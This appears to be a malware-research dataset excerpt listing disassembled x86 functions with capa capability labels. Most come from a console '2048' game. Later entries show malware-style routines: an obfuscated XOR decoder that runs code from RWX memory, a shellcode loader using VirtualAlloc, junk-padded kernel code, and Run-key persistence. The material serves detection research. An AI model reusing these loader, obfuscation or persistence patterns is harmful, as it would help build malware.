joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d90
Capabilities:
Execute command
Set console window title

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c354
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x412018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x28
call fcn.0040b42e
push 0x1e
push 0x41
mov esi, eax
push str.mode_con:cols_d_lines_d
push esi
call dword [sym.imp.MSVCR110.dll_sprintf]
push esi
call dword [sym.imp.MSVCR110.dll_system]
push esi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 0x1c
push 0x41287c
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0x40f39c
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edi, dword [0x41285c]
push 0x18
call dword [sym.imp.MSVCR110.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x407e3a
mov ecx, eax
mov dword [eax + 4], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00407b10
mov esi, eax
jmp 0x407e3c
xor esi, esi
mov dword [ebp - 0x10], esi
lea eax, [ebp - 0x10]
push eax
lea ecx, [edi + 4]
mov dword [ebp - 4], 1
call fcn.00407e90
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x407e66
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov ecx, edi
call fcn.00407ca0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408d20
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, ecx
push esi
cmp byte [ebx + 0x15], 0
push edi
mov dword [esp + 0x14], ebx
mov ecx, 3
je 0x408d5b
mov dword [ebx + 0x1a], 0x1b0030
push dword [ebx + 0x1a]
mov dword [ebx + 0x16], 0x30000
push dword [ebx + 0x16]
push ecx
call fcn.0040b110
mov byte [ebx + 0x15], 0
cmp byte [ebx + 0x14], 0
je 0x408e8c
mov dword [0x412892], 0x30000
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, 0x18
lea esp, [esp]
mov esi, 0xc
push 0x10
push dword [0x412898]
call ebx
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.0000
call fcn.0040a240
mov edx, 0x40f3d4
mov ecx, eax
call fcn.0040a240
push 7
push dword [0x412898]
call ebx
dec esi
jne 0x408d95
push dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP110.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
dec edi
jne 0x408d90
mov dword [0x412892], 0x30000
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [esp + 0x10], edi
lea ecx, [ecx]
xor esi, esi
lea edx, [edi + 3]
jmp 0x408e10
lea eax, [esi + esi*4]
mov word [0x412892], ax
mov word [0x412894], dx
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 0x24]
mov eax, dword [eax + edi*4]
mov eax, dword [eax]
mov edi, dword [eax + esi*4]
test edi, edi
je 0x408e6d
mov edi, dword [edi + 4]
push 0x1b
push dword [0x412898]
call ebx
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edi
call dword [sym.imp.MSVCP110.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push 7
push dword [0x412898]
call ebx
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
inc esi
lea edx, [edi + 3]
cmp esi, 0xc
jl 0x408e10
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x18
jl 0x408e00
mov byte [ecx + 0x14], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40a470
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c3b3
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
sub esp, 8
lea ecx, [ebp - 0xd8]
mov word [0x412892], ax
mov dword [ebp - 0x88], eax
call fcn.0040aa90
mov edx, str.__Help__
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], 0
call fcn.0040a240
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xd8]
call fcn.0040ab50
mov byte [ebp - 4], 1
movsx eax, word [0x41287c]
mov esi, dword [ebp - 0x18]
cmp esi, eax
jge 0x40a503
cdq
sub eax, edx
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
mov esi, ecx
add word [0x412892], si
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0xe
push dword [0x412898]
call esi
test eax, eax
jne 0x40a534
xor bl, bl
jmp 0x40a550
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__Help__
call fcn.0040a240
push 7
push dword [0x412898]
call esi
mov bl, 1
cmp dword [ebp - 0x14], 0x10
jb 0x40a562
push dword [ebp - 0x28]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
lea ecx, [edx - 0x68]
mov dword [ebp + edx - 0xdc], ecx
lea ecx, [ebp - 0xc0]
call fcn.00403050
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b437
mov esp, ebp
pop ebp
ret 8
Function at 0x40a5e0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c3b3
mov eax, dword fs:[0]
push eax
sub esp, 0xcc
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor eax, eax
sub esp, 8
lea ecx, [ebp - 0xd8]
mov word [0x412892], ax
mov dword [ebp - 0x88], eax
call fcn.0040aa90
mov edx, edi
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], 0
call fcn.0040a240
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xd8]
call fcn.0040ab50
mov byte [ebp - 4], 1
movsx eax, word [0x41287c]
mov esi, dword [ebp - 0x18]
cmp esi, eax
jge 0x40a674
cdq
sub eax, edx
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
mov esi, ecx
add word [0x412892], si
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push dword [0x412898]
call esi
test eax, eax
jne 0x40a6a6
xor bl, bl
jmp 0x40a6bf
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, edi
call fcn.0040a240
push 7
push dword [0x412898]
call esi
mov bl, 1
cmp dword [ebp - 0x14], 0x10
jb 0x40a6d1
push dword [ebp - 0x28]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
lea ecx, [edx - 0x68]
mov dword [ebp + edx - 0xdc], ecx
lea ecx, [ebp - 0xc0]
call fcn.00403050
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b437
mov esp, ebp
pop ebp
ret 8
Function at 0x40a750
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c3b3
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
sub esp, 8
lea ecx, [ebp - 0xd8]
mov word [0x412892], ax
mov dword [ebp - 0x88], eax
call fcn.0040aa90
mov edx, str.Press_any_key_to_exit_help.
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], 0
call fcn.0040a240
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xd8]
call fcn.0040ab50
mov byte [ebp - 4], 1
movsx eax, word [0x41287c]
mov esi, dword [ebp - 0x18]
cmp esi, eax
jge 0x40a7e3
cdq
sub eax, edx
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
mov esi, ecx
add word [0x412892], si
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0xc
push dword [0x412898]
call esi
test eax, eax
jne 0x40a814
xor bl, bl
jmp 0x40a830
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Press_any_key_to_exit_help.
call fcn.0040a240
push 7
push dword [0x412898]
call esi
mov bl, 1
cmp dword [ebp - 0x14], 0x10
jb 0x40a842
push dword [ebp - 0x28]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
lea ecx, [edx - 0x68]
mov dword [ebp + edx - 0xdc], ecx
lea ecx, [ebp - 0xc0]
call fcn.00403050
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b437
mov esp, ebp
pop ebp
ret 8
Function at 0x40a8c0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40c3f6
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x412018]
xor eax, esp
mov dword [esp + 0xcc], eax
push ebx
push esi
mov eax, dword [0x412018]
xor eax, esp
push eax
lea eax, [esp + 0xe0]
mov dword fs:[0], eax
xor eax, eax
sub esp, 8
lea ecx, [esp + 0x2c]
mov word [0x412892], ax
mov dword [esp + 0x7c], eax
call fcn.0040aa90
mov edx, str.__Super_2048__
lea ecx, [esp + 0x34]
mov dword [esp + 0xe8], 0
call fcn.0040a240
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x28]
call fcn.0040ab50
mov byte [esp + 0xe8], 1
movsx eax, word [0x41287c]
mov esi, dword [esp + 0x1c]
cmp esi, eax
jge 0x40a967
cdq
sub eax, edx
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
mov esi, ecx
add word [0x412892], si
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0xb
push dword [0x412898]
call esi
test eax, eax
jne 0x40a998
xor bl, bl
jmp 0x40a9b4
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__Super_2048__
call fcn.0040a240
push 7
push dword [0x412898]
call esi
mov bl, 1
cmp dword [esp + 0x20], 0x10
jb 0x40a9c8
push dword [esp + 0xc]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0x24]
mov dword [esp + 0x20], 0xf
mov dword [esp + 0x1c], 0
mov byte [esp + 0xc], 0
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x24], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + 4]
lea ecx, [edx - 0x68]
mov dword [esp + edx + 0x20], ecx
lea ecx, [esp + 0x3c]
call fcn.00403050
lea ecx, [esp + 0x44]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [esp + 0x8c]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [esp + 0xe0]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0xcc]
xor ecx, esp
call fcn.0040b437
mov esp, ebp
pop ebp
ret 8

Function at 0x40b090
Capabilities:
Execute command
Set console window title

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
push 0x28
mov dword [0x412898], eax
call fcn.0040b42e
push 0x14
push 0x32
mov esi, eax
push str.mode_con:cols_d_lines_d
push esi
call dword [sym.imp.MSVCR110.dll_sprintf]
push esi
call dword [sym.imp.MSVCR110.dll_system]
push esi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
add esp, 0x1c
push 0x41287c
push dword [0x412898]
call esi
push str.ColorSystemV0.1
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0x41287c
push dword [0x412898]
call esi
xor eax, eax
mov dword [0x412892], eax
mov eax, 0x41287c
pop esi
pop ebp
ret 0x10
Function at 0x40b110
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c608
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dx, word [ebp + 0x10]
cmp dx, word [0x41287c]
movzx ecx, word [0x41287c]
mov eax, dword [ebp + 0xc]
movzx ebx, dx
mov dx, word [ebp + 0x12]
cmovg ebx, ecx
movzx ecx, word [0x41287e]
cmp dx, word [0x41287e]
movzx esi, dx
cmovg esi, ecx
shr eax, 0x10
movsx ecx, ax
movsx eax, si
mov dword [ebp - 0x30], ebx
mov word [ebp + 0x10], bx
mov word [ebp + 0x12], si
mov dword [ebp - 0x34], ecx
cmp ecx, eax
jge 0x40b27d
lea ecx, [ecx]
xor ebx, ebx
mov edx, 0xf
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 4], ebx
mov si, word [ebp + 0xc]
movsx eax, si
movsx ecx, cx
sub ecx, eax
xor edi, edi
test ecx, ecx
jle 0x40b1fd
jmp 0x40b1c0
cmp edx, 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
lea esi, [ebp - 0x2c]
cmovae esi, dword [ebp - 0x2c]
add eax, ebx
je 0x40b1d7
sub eax, esi
sub esp, 8
lea ecx, [ebp - 0x2c]
push eax
call fcn.0040b2a0
mov si, word [ebp + 0xc]
movsx ecx, word [ebp + 0x10]
movsx eax, si
inc edi
sub ecx, eax
cmp edi, ecx
jge 0x40b1fd
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
jmp 0x40b1c0
mov ebx, dword [ebp - 0x34]
mov word [0x412892], si
mov word [0x412894], bx
push dword [0x412892]
push dword [0x412898]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0
push dword [0x412898]
call esi
test eax, eax
je 0x40b24c
mov ecx, dword [sym.imp.MSVCP110.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x2c]
call fcn.00404a80
push 7
push dword [0x412898]
call esi
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x40b265
push dword [ebp - 0x2c]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
movsx eax, word [ebp + 0x12]
inc ebx
mov dword [ebp - 0x34], ebx
cmp ebx, eax
jge 0x40b27d
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x30], eax
jmp 0x40b190
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040b437
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40b813
Capabilities:
Terminate process

Disassembly:
jmp 0x40b818
jmp loc.00413100
Function at 0x106ce
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push 0
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
cmp dword [ebp - 8], 5
jne 0x10753
cmp dword [ebp - 4], 2
jne 0x1070f
jne 0x106f5
mov edx, edx
mov eax, eax
push eax
pop eax
jne 0x106fd
mov edi, edi
mov edx, edx
push esi
pop esi
mov dword [0x11234], 0x193
leave
ret
cmp dword [ebp - 4], 1
jne 0x10731
push ecx
pop ecx
push esi
pop esi
mov edi, edi
je 0x1071d
pushal
popal
mov edi, edi
mov edi, edi
push ebx
pop ebx
mov dword [0x11234], 0x194
leave
ret
cmp dword [ebp - 4], 0
jne 0x10779
mov eax, eax
mov edx, edx
mov ecx, ecx
mov ecx, ecx
je 0x10741
mov esi, esi
push ecx
pop ecx
jne 0x10747
mov dword [0x11234], 0x189
leave
ret
cmp dword [ebp - 8], 6
jne 0x10779
cmp dword [ebp - 4], 1
jne 0x10779
mov edx, edx
jmp 0x10763
pushfd
popfd
mov ecx, ecx
mov edi, edi
mov esi, esi
push esi
pop esi
pushfd
popfd
mov dword [0x11234], 0x1a7
leave
ret
Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad75025
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x3ad75034
pop dword [ebp - 0x10]
mov eax, 0x3ad75034
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x32198
push 0
mov eax, 0x34a88378
sub eax, 0xf9d172c4
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xe78f7933
sub ecx, 0xe78f477c
mov edx, eax
mov ebx, 0x3324838d
add ebx, 0x7b40a73
add ebx, dword [ebp - 0x10]
mov edi, 0x2c804a27
xor dword [ebp - 4], 0x7eaaaf8b
mov esi, dword [ebx]
add dword [ebp - 4], 0x7cd1ccd
xor esi, edi
mov dword [ebp - 0xc], 0x10dc6e6b
mov dword [edx], esi
xor dword [ebp - 4], 0x3879f2da
add edx, 4
add ebx, 0xc3ae4069
sub ebx, 0xc3ae4065
loop 0x3ad75088
add eax, 0x44c88a73
sub eax, 0x44c7d0c4
mov ebx, eax
add eax, 5
mov ecx, 0x3ad70000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10001e60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001de38
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x1002d04c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0xd4]
push 0
push eax
call fcn.100079b0
push ecx
lea ecx, [ebp - 0xd4]
call fcn.10003270
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xc8], 6
je 0x10001eda
mov edx, 0x1002989c
call fcn.10004160
push eax
call fcn.10004430
add esp, 4
sub esp, 0xc
mov dword [ebp - 0x14], 0
mov eax, esp
mov byte [ebp - 0xd7], 0
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x1c], xmm0
mov dword [eax], 0
mov word [eax + 4], 1
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x9c]
test eax, eax
sete byte [ebp - 0xd8]
push dword [ebp - 0xd8]
push eax
call fcn.10004470
mov byte [ebp - 4], 1
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
sub edi, ebx
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10001f60
mov edx, 0x10029870
call fcn.10004160
push eax
call fcn.10004430
add esp, 4
jmp 0x10001f7b
push edi
push ebx
push esi
call fcn.10007430
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x10001fc8
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10001fa9
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002057
push edx
push ecx
call fcn.10005f43
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd4], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd8], eax
lea ecx, [ebp - 0xc4]
call fcn.10002e60
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd4], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xd8], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x64], vtable.std::ios_base.0
call fcn.100059a6
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005f35
mov esp, ebp
pop ebp
ret
call fcn.1000aaca
int3
Function at 0x10002150
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1002d04c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push eax
push 0x100298b8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x100021c6
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10001e60
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10005f35
mov esp, ebp
pop ebp
ret